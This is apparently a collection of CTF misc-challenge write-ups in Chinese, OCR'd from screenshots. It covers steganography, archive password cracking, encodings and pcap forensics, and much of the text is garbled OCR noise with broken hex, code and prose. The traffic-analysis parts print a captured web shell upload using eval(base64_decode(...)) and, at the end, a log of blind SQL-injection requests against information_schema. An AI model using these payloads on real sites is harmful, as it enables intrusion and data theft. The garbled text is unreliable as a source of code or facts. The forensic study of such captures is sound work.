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FSRES, Ml —HIRR S BRI .

~/ % H /tools/F5-steganography
3 Misc.jpg flag.txt
Picked up _OPTIONS: -Dawt.us temAAFontSettings=on -Dswing
Huffman decoding sta i i

tion starts

190 bytes

~/ % H /tools/F5-steganography

el eL4240eLTeHMePfoe <TEY (S fl:

~/ % H /tools/F5-steganography

ek Dhn bR AL

snake



serpentfi# http://serpent.online-domain-tools.com/

Serpent — Symmetric Ciphers Online

Grammarly
Works Across Sites and Apps

XIE

Input type: [ File - J
File: | C:\fakepath\cipher
Function: | SERPENT ")
Mode: l ECE (electronic codebook) - J
:;T:m] anaconda )

® plaintext ) Hex

= Encryptl | > Decryptl u

CSDMN @\ AS~

Fire wWa> U reaueu.

Decrypted text:
QOo00000 43 B4 46 b 77 63 6f Bf 6b Ge 65 V77 Bf T3 BB T2 CTF{who _lknew _3se&r
oooooo10 70 66 Ge 74 Bf 63 69 V0 63 65 V2 Bf 65 VS &9 T3 pent_eilpher _exiz=
OOoo00z0 74 68 64 74 00 00 0O 00 00 OO0 OO0 00 00 00 OO0 oo t e d} .

[Download as a binary file] [7] Inactive

[BJDCTF2020]\ E /5 s fa 1


http://serpent.online-domain-tools.com/

/mnt/c/Users/mzq/Downloads/attachment/10

-.o /mnt/c/Users/mzq/Downloads/attachment/10
cd _10.xls.extracted/

-1 /mnt/c/Users/mzq/Downloads/attachment/108/_10.x1s.extracted
1s

-1 /mnt/c/Users/mzq/Downloads/attachment/108/_10.x1s.extracted
grep -r flag
grep: ©.zip: binary file matches
{MoeVfi2Pcs#}

<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2606/main"
count="25" uniqueCount="16"><si><t>Name</t></si><si><t>Text</t></si><si><t>Number</t></si><s
i><t>Boolean</t></si><si><t>Function</t></si><si><tra</t></si><si><t>b</t></si><si><t>c</t><
[/siz<siz<t>x</t></si><si><t>ax"2+bx+c</t></si><si><t>m</t></si><si><t>y</t></si><si><t>slope
</t></si><si><t>intercept</t></si»<si»<t xml:space="preserve">The is also right under t
his nicely made chart. </t></si><si><t xml:space="preserve">The is under this nicely ma
de chart. </t></si></sst> VAS




/mnt/c/Users/mzq/Downloads/1/11

-1 /mnt/c/Users/mzq/Downloads/1/11
cd output/

2 /mnt/c/Users/mzq/Downloads/1/11/output
1ls

2 /mnt/c/Users/mzq/Downloads/1/11/output
cd zip/

] /mnt/c/Users/mzq/Downloads/1/11/output/zip
s

/mnt/c/Users/mzq/Downloads/1/11/output/zip

-.o /mnt/c/Users/mzq/Downloads/1/11/output/zip
unzip 080080099.zip
Archive: 668000899.zip
i=#l .docx: mismatching "local" filename (#¢¢¢%.docx),
continuing with "central" filename version
inflating: #&#|.docx

-1 /mnt/c/Users/mzq/Downloads/1/11/output/zip
1s

fmntfcfUsersfmzqfDDwnloads!lfllfoutputfggﬂjh.i




HArar B Hformost, R4 LA %D IEAT I AT 1R 1-847

PASW
227 Entering Passive Mode (172,16,66,18,56,182).

RETR flag.rar
158 Opening BINARY mode data connection for file transfer.

226 Transfer complete

fit [ 43 flag

&) ARCHPR 4.54 - 57% — *
IE(F) wE(R) EENH)
. R A & % e o W
17 Frapl o 4Bl 2RI HER #EED =F plztu]
DR ZIP/RARACE/AR]D STHF Hria
|C:HJJsers'u'nzq'nDoWﬂIoads'n,?Sc15325-5254 gh

<

TE kE Fa MY SiiE BE S5

FHTEER
MEFERT G-I :|0
[ T L
HEA=(0 -9) #FR T 666560 ¢
RS 0aE..) s, ]
O<BrEHEE =
Advanced Archive Password Recovery (51 HE B:
EiOs 6,905
SihdiE 21s 127ms
EEEE(OE A 325
s [ETEHRIOS 5790 (A
E +Fi O 353739 30 fa)
L w77 Ve
Al - - CSDAL @ MAS ]

[GXYCTF2019]ih % # 4¢




P+ 5 k1o

5i#ict

flaz{w0_[o_ci_Eel}

T, H SiEEFENES EEns

WECE. EELE

E: R R A R SRR B R T A AR - TR EBERE R —S0EEE
3 e e e L R e p ok et e

158 ERMINSER: BxemEril I BaEEEERnARE.
B KeyFansClub SH1872E 212, SEEFIEE!

o

LAY

% 71666

fEtepiit 7 AR — N E v, RAFALjpg, FTOT RIS —DNE, SEIA L0 E

M Wireshark - 55 TCP i (tcp.stream eq 7) - 666666.pcapng - d *
POST /upload/1.php HTTP/1.1 A

User-Agent: Java/1.8.8_151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; g=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-wnu-form-urlencoded

Content-l enoth: 204999

(i

i



e e e e e

aa=fgeval.

(base6d_decode($_POST[action]));&action=0GluaV9z7XQoImRpc3BsYX1fZXIyb3IzI
iwiMCIp0BBzZXRFdG1tZVIsallpdCpwkKTtAc2VEX21hZ21jX3F1b3R1c19ydWSBalil1KDARO2
VjaG8oIlif%2BfCIp0zskZ j1iYXNINFRFZGVjb2R1IKCRFUESTVFsiejEIiXSk7IGMIIFIQTINUN
yJ6MiJdOyRjPXNBCc1 9y ZXBsYWNIKCIccilsTiTs JGMpOyRPXNBCc19yZXBsYWNIKCIcbiIsTi
IsJGMpOyRidWY9OTiI7ZmOyKCRpPTA7IGk8c3RybGVUKCRjKTskaSs9MikkYnVmL j11lcmxkZIN
vZGUoTililnN1YnNBcigkYywkaSwyKSk7ZWNobyhAZndyaXR1KGZvcGVUKCRmLCI3Tiks1GI1
Zik%2FIjEi0iTwIik702VjaG8oInw8LSIp02RpZSgpOw3D%30&z1=RDpcd2FtcDY@XHd3d1x
1cGxvYWRcNJY2N15qcGe¥3D&z2=FFDEFFEGBO1B4AAEA94600010101867800780000F FDEBS
4300010101010108160161610101081081010161601601081016101681016016161610168101016816818
lelelelelelelelelelelelelelelslelelelelelelslelelelelelelelFFDESBA3018161
glelelelelelelelelelelelelelelelelelelelelslelelelelelelelelelelelelelele
1818161810101018161616101010818161681681010108181610181FFCOEE1168013901E28361
220008211816831101FFC4001FE0200160501610101018100000600000000000102030485860
7B88090ABBFFC408E510000201030302040385050404000001700102836004118512213141
8613516187227114328191A1882342B1C11552D1F82433627282090A161718191A2526272
8292A3435363738393A434A45464748494A535455565758595A636465666768696A737475
J67778797A838485868788898A92939495969798999AA2 A3 AAASAEATASASANB2EZBABSEEE
7BBBIBAC2C3CACSCACTCBCOCAD2D3DADSDEDYDEDADAELIE2E3EAESEGETESEQEAFLIF2F3FAFS
FeF/FEFOFAFFC4801FE10603010181010181010101000000808000081820304850600788090
ABBFFC4B80B65110802010204040304070504040001027700010820311840521318612415187
61711322328188144291A1B81C189233352F8156272010A162434E125F11718191A2627282
92A35363738393A434445464748494A535455565758595A6364656667680906A7374757677
J8797A82838485868788898A92939495969798999AA2A3A4A5ACATABA9AAB2B3B4B5BEBTB
8B9BACZ2C3CACS5CHCTCECICAD2D3DADSDEDY/DBD9DAE2EZEAESEGEVEBESEAF2F3FAFSFEFTFE
FOFAFFDABRBCO3010002118311003F0BFC188230B967E62481211D64923F861430914E8128
CF5E30856C4310192E7DACCABEFFC30478E3BODFFEOBFDEF352DA3DBEBBAFR/69F2C1FFBESE

25 & 548, 0 FHEFF HE, 0 turn(s)
A (206 kB LY Show data as ASCIT B

T BEHRT—1- 0

eI $TER s [Em || o @lypds

foremost/} fiipcapf3 2 — AN L 456, A ZLETflag

&8 00002778 zip (EEES)
ZHHP #S(Q) IRG) WEESR0) EEN) O EBEH

Bﬁﬂ@%gg D 9 8 =

Il ARl W == A% #E | oEss IR oEEE

T [R8 o000ar7Baip - 1P FEEEA, BEI 40 FF

EZR N EEEA, 2R BT CRC32 well, you need passwd!

flag.xt = 40 52 ITEE 2017/12/8 17:28 880CB731
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[BJDCTF2020]/% %5 & 1>

010editorfT FF K I Zpng, EMCCAHIE 4

R A, TR IR A flag




Wz flag K IE SRR

B
44 0D 31
88 11 35

6C 61 67

oD O/ 3
5F 61 6D 5F 66 6C 40 67 7D 0D 0A

b SCAF

M Wireshark - J85 TCP 3% (tcp.stream eq 6) - 305df1{78befdccfd2a3bd0fedabeldT..

O

Rar!..... s

....... E2..M 5.0 WG4 ko> 1T L. 3n. ... .d'BL L.l Lsl L0
#..% I0..6..5F....... |¥.i.2...2. . . #.0..._.j..% =a

1C=...... Poxk/............. 9[e




I &ESe AE 0 BEF F4E, 0 turn(s)

ﬁ
4

ASCIT | 5

T [Hlas

| BT

%jl\gihg (196 bytes) ~ Show data as
st s $TER B

foremost/r &, Ml Eflag

OSB!

Advanced Archive Password Recovery $iHE B
2i0% 3,017
StAdial 95 78ms
FHEE(OE R 332
EA MO S 1903
T HIOS 31393033
% Rgc 2 v iEE
[}
: L Show data as  ASCIT | 3
| THEF— W
-%#:’tl EME Close Help

def hexStr_to_str(hex_str)
hex_str.encode(
str_bin

return str_bin.decode(

if _ _name__

hex_str

X,y ((1))

with ( 5
f.write((

(x)

)

binascii.unhexlify(

)

hexStr_to_str(a)

for i in hex_str.split():

) as f:
(y)

Elrzg, - Helyr
ESEIL e YRS

&)
IR SR EENH
o o | Fae o ) P .
B - iﬁg Jﬁﬁ {:j {;, (7] 1) :;
=1k Hir FERD =t
NIRRT ZIP RARJACEAR] 324 gz Al
* |C: \Users\mzq'\Downloads\3752a571-aeb0 Eh
GE kKE =& By Sihitr BR S5
FOEA
FExRERT G-I .o Py
EAERTHE-2) i '?
HEHZ0-9 ST soeese ©
{1 EEHEFS0e..) . s,
" = A s
FRERHTEN=TF BFREX | c6
RSO
2022(3/2 18:32:47 - S F OS5 0 "~
2022/3/2 18:32:47 - g EHrd...
2022/3/2 18:32:56 - & B IIEE!
2022/3f2 18:32:56 - '1903 BT HH— a0 =
YHAIO%: 1903 EINRE: 332pfs
EFREEL: | 5s FlFATIE: 245
A%E =4, S4t: 10,000, 24HE8: 1,907
19%
ARCHPR version 4.54 (c) 1997-2012 ElcomSaft Ca. Ltd. CSDMN @~YAS-




[BJDCTF2020]just_a_rar




% @ o 0

HE # Xt
HIFEER ZIP RAR (ACE/AR] 3?_ Erfenl
[c:\sersy 7
BE KR we BY Qi B SR
FEHnEAN
MEASRTHA-) |0 >
Bl "%hT&E a-2) IR k?
=0 -9) #HT: ao6666 Y
HEREES(e..) fEE: Y
O<SaiTiE! X
Advanced Archive Password Recovery $iHER:
Sit0% 3,123 |
2R 95 514ms
FER SR 328
EAIHRIOS 2016 {1
Y 3230 3136 a
el 1877 V e
SRCFFR WEFSION <, 5% () 199/-2U 12 EICOMSOTT L0, LT, =1V - o

P A B AT AT BUE IS Rk
flagft#vE F

Flle Name

Directory

File Size

File Modification Date/Time
File Access Date/Time
File Inode Change Date/Time
File Permissions

File Type

File Type Extension
MIME Type

JFIF Version
Resolution Unit

X Resolution

¥ Resolution

Exif Byte Order

XP Comment

Padding

Image Width

Image Height

Encoding Process

Bits Per Sample

Color Components

¥ Cb Cr Sub Sampling
Image Size

Megapixels

i 7 MEflag

B® QR Research
TR TEM  EEIH)

B ED Qs

flag. jpg

182 KiB
2016:07:27
2822:83:63
2822:83:63
—TWXTWXTWX
JPEG

jpg
image/jpeg
1.01
inches

1

1
Big-endian (Motorola,
flag{wadf_123}
(Binary data 2860 bytes,
588

868

Baseline DCT, Huffman coding

8

3

YCbCru:2:0 (2 2)
580x868

B.563

09:U0:16+608:68
68:32:25+68:00
68:34:46+08:00

MM)

; y,
F

[rep—

[ Tarr—

use -b option to extract)



MIEFER &y

HEo%) <) fane -
iR F=T
Auto - 4 il

[ Auto

(10.1,10. 1%(389 8,10.1)-(10.1,389.8)-(389.9,369.9)

gg
HEHTHE k=

2J;'iH 10

swpuctfiflag_is_not_here)]

REESSEAL

zstegF AR BIAEAE—rar s, HEATFRIUCCA

zsteg BitcoinPay.png

file:
0OEEAREA: 5 21 p7 81 88 33 e5
0OPEEA10: 0O B85 01 A1 80 8O OE 83 d5 83 26
000006020: 60 € 0o 3 ea 8 PO
PEPRAR30: 5 2e 3 g 93 @ 39 |ode.txt. ... ..
fpeppeeue: d5 81 5 5 64 5 | ..YXNkZmdoamtsMT |
POPBAAS5A: = 7a 67 35 41 IIZNDUZNZJ%MA==,WI
00EPEA6A: 56 51 03 05 U 89 52 61 72
0PERAATA: B3 e9 Oc 01 5 A8 A0 O7 01 01 83 fc 83 88 OE | .
0PERAABA: B8 P2 B3 Bb a6 fc 01 BuU el fe | .
000ERER98: 85 80 83 00 B8 66 6C 61 67 2e 6a | .
000000at: 83 82 e 3 10 a9 d5 81 8f bl 25 | .
00000BbA : 5 5€ 66 al 16 ud @e 87 IDT#FUPHF
000006cH: 87 5€ 43 14 31 48 61 68 16 85 |[Qaj
000000de : 3 P2 2c 82 2c Oa 2c 3d 82 la ue 21 2e |Q
CLEEEEEECE 8 fb 73 7Ta 5b f9 6f f1 f9
CELLEELR 73 11 99 89 99 cf e6 7b 86 a6 22 |

C il

® /mnt/c/Users/mzq/Downloads/#I& ) — 418
zsteg BitcoinPay.png —-E 'extradata:®' = 1.RAR

® /mnt/c/Users/mzq/Downloads/# & 09 — #&18
1s

FITTE KRB ER], binwalk 7 iR fr, HA4N gtk 7, SR 2 ke, srmpi NIz e G .

binwalk BitcoinPay.png -e
DECIMAL HEXADECIMAL DESCRIPTION
PNG image, 4@0 x U488, 8-bit/color RGBA, non-interlaced

ARNING: Extractor.execute failed to run external extractor 'unrar e '%e'': [Errno 2] No such file or directory: 'unrar'
, 'unrar e '%e'' might not be installed correctly

ARNING: Extractor.execute failed to run external extractor 'unrar -x "%e'': [Errno 2] No such file or directory: 'unrar



BE Je alle orre [
Bx7104 RAR archive data, version 5.x

IARNING: Extractor.execute failed to run external extractor 'unrar e '%e'': [Errno 2] No such file or directory: 'unrar’
, 'unrar e '%e'' might not be installed correctly

JARNING: Extractor.execute failed to run external extractor 'unrar -x '%e'': [Errno 2] No such file or directory: 'unrar
'$e'' might not be installed correctly
BXT16A RAR archive data, version 5.x

ractor.execute failed to run external extractor 'unrar e '%e'': [Errno 2] No such file or directory: 'unrar'
'unrar e '%e'' might not be installed correctly

JARNING: Extractor.execute failed to run external extractor 'unrar

TR 45 L 1) B R R doexit base B4 %5 5 11

mp33C P FaudiF Tt A B2 JBE i i

-

o) : ° Klﬁljlln n~ &6 |Q Q& ;g 8

w -.!) =7, (Steam Streaming Microphone) ~ |1 (E5E) E3IFE w ‘I:l G224 (2- NVIDIA High Definition Audio] ~

[ . . 5 . . o1 . . 15
CSDN @~VAS~

flag{/N'5}
TE AW NN 'l._1l‘|‘-"-' IR AT ey FEP Y TR T H T R A AL 1T e WU e L e ) R L S AL TR I T H I TITT ) St
AP > EREFBBER
ENTE:
MORSELSVERTVERTELST
| SRR | | Bk | ssssaEnsEss: @smeiE OfysE

EHiRE: (EXER: AETmafs/molsEnes, ERAR, FEER)

| ST |
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[BJDCTF2020] I [ H
BEE &

import binascii
import struct

import sys

)
).read()

(fr[oxec:ex1d])
(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])

for w in
width (struct.pack( , W))
for h in (n):
height (struct.pack( , h))
for x in (4):
data[x+4] width[x]
data[x+8] height[x]
crc32result binascii.crc32(data) Oxffffff
if crc32result crc32key:
print(width,height)

newpic (fr)
for x in (4):
newpic[x+16] width[x]

newpic[x+20] height[x]
fw ( > )
fw.write(newpic)
fw.close
sys.exit()




xaflag{66666}

CSON & ~VAS~




DR sREgRiE) Eg=(5) BE(N) FE=N) TUB(l) ZEREG) FEL) ZTmA)  1L8R((0) #EIH)

n = m 1« 'Y [T/ 87 - 4 - ~zerusals -6 -2 - o
gﬂﬂ ﬂg _54 _43 _42 _é‘ﬁ‘ _j‘o —2I4 —iB —i2 —ﬁ. h)

UE o) o XIOO|wt| n~ &jalQiq/Ql > ——e -
Windows WASAPI w \!; =7, (Steam Streaming Microphone) ~ | 1 (258 E3IFE w ‘I:l G224 (2- NVIDIA High Definition Audio] ~
VP 3.0 40 5.0 60 F.0 3.0 9.0 10.0 11.0 12.0 13.0 14.0 150 16.0 17.0 18.0 19.0 20.0
ﬂd?&dﬂlﬂo—bﬂf' 1.0
s 5§+ ey
l—l—l—l—la-l—l—l—l—L
= = 0.0
l—l—l—l—la-l—l—l—l—L
e |05
-1.0
|
1.0
0. 5-
0. - H - HHEH N HHHE
-0, 5-
A | |10

CSDN @~VAS~

FREEN > ERHEESE

ENFE:
FO29ED6F551139EEDERSE4BA] TEEOTS6]

4%

sianErain | | 2R | sussemnsEss: O=men O 2silsE 552

EEERFRD: (Sl AIETRalAsil/moiEeres, BRAR, FAER)

i

AT HEns
EETTESRNESEAETTE, SESENETY, SEXDEIEINARE, CERERESEE
HEhEv R, FRELE, PILSREEEairEsnE, ﬂ%‘ﬁﬁ-ﬂﬁﬁﬁﬂﬁ%@ %%ﬁ&%ﬁﬁ

[BJDCTF2020]144 J&



BECk

Hgifframet]T JT

Q1RGe3d

hbmdfYm

FVX3FpYW5n

X21zX3NhZH0=

Q1RGe3dhbmdfYmFVX3FpYW5nX21zX3NhZHO



Base64 Encoding Encode Decode

Pattern

Basebd -

Q1RGe3dhbmdfYmFvX3FpYW5nX2IzZX3NhZHO0= CTF{wang_bao_giang_is_sad}

CSDN @~VAS~

[ACTF3#i 4= %% 2020]outguess



HREA OO B U G b

File Inode Change Date/Time 1 2022:03:03 10:25:27+08:00
File Permissions I —TWXTWXTWX

File Type : JPEG

File Type Extension : Jjpg

MIME Type : image/jpeg

JFIF Version 1 1.81

Resolution Unit : inches

X Resolution 1 96

Y Resolution : 96

Exif Byte Order : Big-endian (Motorola, MM)

XP Comment ! MIERFE 4 IES AL

Padding : (Binary data 2060 bytes, use -b option to extract)
Image Width : 358

Image Height : 328

Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : B

Color Components 7 g

Y Cb Cr Sub Sampling : YCbCrd:2:0 (2 2)

Image Size : 350x328

Megapixels

m
it
il
i
i
i
Jis

AEREAIEXIRR FAME

hitps //sym233_github io/core-values-encoder, CSDN @~YAS--

SR J5 outguessfii

2 /mnt/c/Users/mzq/Downloads/attachment/tmp/huhuhu
outguess -k 'abc' -r mmm.jpg 1.txt
ading mmm. jpg....
tracting usable bits: 17550 bits
eg retrieve: seed: 93, len: 23

- /mnt/c/Users/mzq/Downloads/attachment/tmp/huhuhu
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- /mnt/c/Users/mzq/Downloads/cf5du917-eeaa-1U2e2-819
foremost who_won_the_game.png

Processing: who_won_the_game.png
| *]

stegsolve$] Jfframe

[E] — O ¥
Frame : 310 of 360
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drJf@{WGmoNMawD{D#RbRIy{}Mxh#.igeg5*ca*qGH{kYD%TY|IX96* aHaaMUaRZXY8zDmj%WDd7WYiGgGokJ1Yak3fYYB3khOM!
thdx38U7Z3izFliFRy-XYBITP&=(kd 1Y-mVIRqGIVWIPi=vAQZvPNn9g=ey#{oX5DY!tkP*(GIdXHkDgPeG#{4DGUg_*4j!Xg&li{Dibdz#7Qi
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YWe{NX"FLgb R3IXGMmewkywzHtn-4cYk$ UvYYaY#i=55*FMOc-5 Dv3h4AOn&MwWIl22))#HHcGawmGwta n)GZmaDgAP{(gWa
y5loYsMW 2rz$ReDByGGy@yXo}w {AA{GXfidffcrg3iMvlf H-GdlyX5BsSW5BeEYsWINapkkMOkCkSm_irrKhK{s{DxRawkkYecGNa(l
spXF50=6YGAMwkW6&00Mh39zLxoh%ygGTY{M$XTYLMeiwO@Gklznk2Y1%D!2X!s}G * kIKljhiiixc6cIu}MKY%K)_&("{p4e%g0g¥X
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(file_path).read()

for i in alphabet:

counts strings.count(i)

i . (1)

result[i] counts

res (result.items(),key=lambda item:item[1],reverse=True)
for data in res:

print(data)

for i in res:

flag (i[fel)
print(flag[@],end

[WUSTCTF2020]find_me



: 127 KiB

Modification Date/Time 1 2022:03:03 11:15:41+608:080

Access Date/Time : 2022:83:083 11:15:41+68:60

Inode Change Date/Time 1 2022:03:03 11:15:44+08:00

Permissions I —TWXTWXTWX

Type : JPEG

Type Extension : Jjpg

Type : image/jpeg

Byte Order : Big-endian (Motorola, MM)
tware : Adobe Photoshop CC 2018 (Windows)
ist : 52HeRtz
Comment Doy 0 TUe o srEpeT ooy T
: (Binary data 1910 bytes, use -b option to extract)
P Toolkit : Adobe XMP Core 5.6-clu2 79.168924, 2017/07/13-01:86:39
hors Position : 52HeRtz
ator Tool : Adobe Photoshop CC 2018 (Windows)
ator : 52HeRtz
rent IPTC Digest : 2adef26c2uU75bb7cudbefeuds5a2cbd2bd
led Character Set : UTF8
blication Record Version H !
ect Name : Congratulations!
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(path[e: (len(path) (path.split( )[-1D)D
(path, ) as f:

bin_str
for line in f.readlines():
stegb64 (line, ).strip( )
rowb64 (baseb4.bb64dencode(baseb4.b64decode(stegh64)),
offset (bb64chars.index(stegbh64.replace( 5 )[-1])
equalnum stegb64. count( )
if equalnum:
bin_str (offset)[2:].zfill(equalnum 2)

).strip( )

b64chars.index(rowb64.replace( )

flag ([ ( (bin_str[i:i 8], 2)) for i in (0, (bin_str), 8)1)
with (address path.split( )[-11, ) as
for i in flag:

.write(i)
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BRAINFUCK/OOK! OBFUSCATION/ENCODING

This tool can run programs written in the Brainfuck and Ook! programming languages and display the

output.

It can also take a plain text and obfuscate it as source code of a simple program of the above

languages.

All the hard work (like actually understanding how those languages work) was done by Daniel Lorch

and his Brainfuck interpreter in PHP

Text to Qok! || Textto short Ookl | [ Ookl to Text | CSON @

Tt tn Beainfink | | Beainfiunl ta Tout
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cat document.xml
7xml version="1.8" encoding="UTF-8" standalone="yes"7>

w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2016/wordprocessingCanvas" xmlns:mc="http://schemas.open
mlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.open
mlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" x
lns:v="urn:schemas-microsoft—com:vml" xmlns:wpl4="http://schemas.microsoft.com/office/word/2018/wordprocessingDrawing"
mlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w="http://schemas.openxmlformats
org/wordprocessingml/2006/main" xmlns:wld="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:wl@="urn:schemas
microsoft-com:office:word" xmlns:wl5="http://schemas.microsoft.com/office/word/2012/wordml"” xmlns:wpg="http://schemas.m
|closoFt com/offlce/w01d/ZOlO/WOIdproce551ngﬁroup" (ans wpi="http://schemas.microsoft.com/office/word/2010/wordprocessi
; rd/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/u
e (ans wpsCustomData—“http / /www .wps . cn/officeDocument/2013/wpsCustomData” mc:Ignorable="wl
wls wplu“>=w:body>=w:p><w‘pP1>=w‘rPr><w‘1Fonts w:hint="default" w:eastAsiaTheme="minorEastAsia"/><w:lang w:val="en-us"
w:eastAsia="zh- b </w:pPr><u:r :rPr><w:rFonts w:hint="eastAsia"/><w:lang w:val="en-US" w:eastAsia="zh-CN"/>
fw:rPr><w:t>Ef! EHNEA T < fwite></w:r></w:p><w:p><w:pPr><w:rPr><w:rFonts w:hint="eastAsia"/></w:TPr
b</w:pPr></w:p><w:p><w:pPr><w:rPr><w:rFonts w:hint="eastAsia"/></w:rPr></w:pPr></w:p><w:p><w:pPr><w:rPr><w:rFonts w:hint
"eastAsia"/></w:rPr></w:pPr></w:p><w:p><w:pPr><w:rPr><w:rfFonts w:hint="eastAsia"/></w:rPr></w:pPr></w:p><w:p><w:pPr><u:
rPr><w:rFonts w:hint="eastAsia" w:eastAsiaTheme="minorEastAsia"/><w:vanish/></w:rPr></w:pPr><w:r><w:rPr><mw:rfFonts w:hint
“eastAsia“ w:eastAsiaTheme="minorEastAsia"/><w:vanish/></w:rPr><w:t>. «?||Wa. . P:||||o v 2]|R2]]: 2 BB 28 e | |5 I]] 2 2] |2 2]] s B
8[|+ =N LT i | =8| [A=||AAS=</w:t></w:r></w:p><w:p><w:pPr><w:rPr><u:rFonts w:hint="default" w:eastAsiaTh
me “mlnorEastA51a“/><w Lang W:va en-US" w:eastAsia="zh-CN"/></w:rPr></u: pPr>¢w r><w:rPr><w:rFonts w:hin eastAsia"/>
w:vanish/><w:lang w:val="en-US" w:eastAsia="zh-CN"/></w:rPr><w:t EEH%” =/w t>€/ r><u:bookmar

w,num—“l“/>:w,docGr1d w,type:“Llnes“ W: Llnepltch "312" w: chaerace:“O“/>¢/w‘sectP1>€/w,body>¢/w,document>

- -] /mnt/c/Users/mzq/Downloads/1/{REEE EHF 1S /word CSDN
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WA EEHIWflag I, A5XAEASEE

s LEE s

iypE. omas cune

mue aypes

e
156
166
176
206
21
218
224
234
256
262
272
277
287
294
316
321
336
342
348
358
370
386
391
397
404
410
436

HE

172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11
172.16.80.11

rEsEE

text/htm| 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/html 848 bytes
text/html 780 bytes
text/html 780 bytes
text/html 780 bytes
text/htm| 848 bytes

IiEE
index.php?act=news&id=1%20and%20ascii(substr(({select%20count(*)%20from%20information_schema.SCHEMATA)),%6201,%6201))= 52
index.phplact=news&id=1%20and%20ascii(substr(([selectd20count(*)%2Mrom%20information_schema . SCHEMATA)),26201,96201))=53
index.php?act=news&id=1%20and%20ascii(substr(({select%20count(*)%620from%20information_schema SCHEMATA)),26201,96201))=53
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from3620information_schema SCHEMATAS620limit36201,1))=100
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from3620information_schema SCHEMATA%:20limit36200,1)) =100
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%%20information_schema SCHEMATA%:20limit36203,1)) =100
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema.SCHEMATA%:20limit%:202,1)) = 100
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema SCHEMATA%:20limit36204,1))=100
index.php?act=news&id=1%20and%20length((select320SCHEMA_name%20from3t20information_schema.SCHEMATAZ620limit36200,11) =50
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%%20from%t20information_schema.SCHEMATAZ:20limit36201,1))= 50
index.php?act=news&id=1%20and%20length((select¥20SCHEMA_name%20from%20information_schema . SCHEMATA%20limit26202,1))=50
index.php?act=news&id=1%20and%20length((select¥%205CHEMA_name%:20from%20information_schema . SCHEMATAZ:20limit%6204,11)= 50
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%:20from%:20information_schema . SCHEMATAZ:20limit%:203,1))=50
index.php?act=news&id=1%20and%20length((select320SCHEMA_name%20from3620information_schema. SCHEMATA%20limit36200,1)) =25
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema. SCHEMATA%:20limit36202,1))= 25
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%%20information_schema SCHEMATA%:20limit36201,1))=25
index.php?act=news&id=1%20and%20length((select¥20SCHEMA_name%20from%20information_schema SCHEMATAZ:20limit36203,1))=25
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%620information_schema SCHEMATA%:20limit36204,1))= 25
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from3620information_schema. SCHEMATA%:20limit36200,1))=12
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from%20information_schema. SCHEMATA%:20limit36201,1))=12
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit36202,1))=12
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema SCHEMATAZ:20limit36203,1))=12
index.php?act=news&id=1%20and%20length((select320SCHEMA_name%20from3620information_schema. SCHEMATA%20limit36200,1))=12
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%20from3620information_schema SCHEMATA%:20limit36204,1))=12
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%%20information_schema SCHEMATA%%20limit36202,1))=6
index.php?act=news&id=1%20and%20length((select?20SCHEMA_name%20from%20information_schema.SCHEMATA%20limit36201,1))=6
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%:20from%t20information_schema SCHEMATA:20limit3:202,1))=9
index.php?act=news&id=1%20and%20length((select3%20SCHEMA_name%20from3t20information_schema . SCHEMATAZ:20limit36201,1))=3
index.php?act=news&id=1%20and%20length((select%20SCHEMA_name%%20from%t20information_schema.SCHEMATA:20limit36200,1))=16
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